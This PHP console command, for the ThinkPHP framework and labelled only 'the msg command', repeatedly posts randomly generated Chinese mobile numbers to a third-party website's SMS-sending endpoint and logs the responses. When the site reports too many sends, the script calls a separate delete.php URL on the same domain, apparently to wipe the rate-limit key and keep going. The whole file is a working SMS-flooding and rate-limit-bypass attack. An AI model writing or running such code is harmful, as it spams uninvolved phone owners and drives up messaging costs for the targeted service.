<?php
declare (strict_types = 1);

namespace app\command;

use GuzzleHttp\Client;
use Swoole\Process;
use think\console\Command;
use think\console\Input;
use think\console\Output;
use think\facade\Db;

class Msg extends Command
{
    protected function configure()
    {
        // 指令配置
        $this->setName('msg')
            ->setDescription('the msg command');        
    }

    protected function execute(Input $input, Output $output)
    {
        cli_set_process_title('master_process');
        while (true) {
            $work_process = $this->startWorkProcess();
            $work_process->start();
            //子进程结束并且输出end之后结束主进程
            if (Process::wait() && $work_process->read() == 'end') {
                break;
            }
        }
    }

    private function startWorkProcess() : Process {
        return new Process(function (Process $process) {
            $process->name('work_process');
            $total = 10;
            $client = new Client();
            $url_list = [
//            'shihuizhu' => 'http://api-test.shihuizhu.com/member.auth/sendMsg',
                'tengcu' => 'http://api.tengcu.com/api/auth/sengMsg'
            ];
            while (true) {
                for ($i = 0; $i < $total; $i++) {
                    foreach ($url_list as $target => $url) {
                        $phone = $this->getPhone();
                        $res = $client->post($url, [
                            'form_params' => [
                                'phone' => $phone
                            ],
//                            'proxy' => [
//                                'tcp://127.0.0.1:8125', // Use this proxy with "http"
//                            ]
                        ])->getBody()->getContents();
                        Db::name('msg')->insert([
                            'target' => $target,
                            'phone' => $phone,
                            'send_time' => date('Y-m-d H:i:s'),
                            'result' => $res
                        ]);
                        $res = json_decode($res, true);
                        if (empty($res) || !is_array($res)) {
                            $process->write('end');
                            break;
                        }

                        if ($res['code'] > 0) {
                            if ($res['msg'] != '短信发送次数过多，请在1小时之后再试') {
                                $process->write('end');
                                break;
                            }
                            $query = [
                                's' => 0,
                                'd' => 0,
                                'key' => 's_47.103.206.124'
                            ];
                            $form_params = [
                                'post' => 1
                            ];
                            $client->post('http://redis.tengcu.com/delete.php',compact('query','form_params'));
                        }
                    }
                }
                $sleep = mt_rand(5, 80);
                sleep($sleep);
            }
        });
    }

    private function getPhone() : string {
        $tel_arr = [
            '130','131','132','133','134','135','136','137','138','139','144','147','150','151','152','153','155','156',
            '157','158','159','176','177','178','180','181','182','183','184','185','186','187','188','189',
        ];
        return $tel_arr[array_rand($tel_arr)].mt_rand(1000,9999).mt_rand(1000,9999);
    }
}
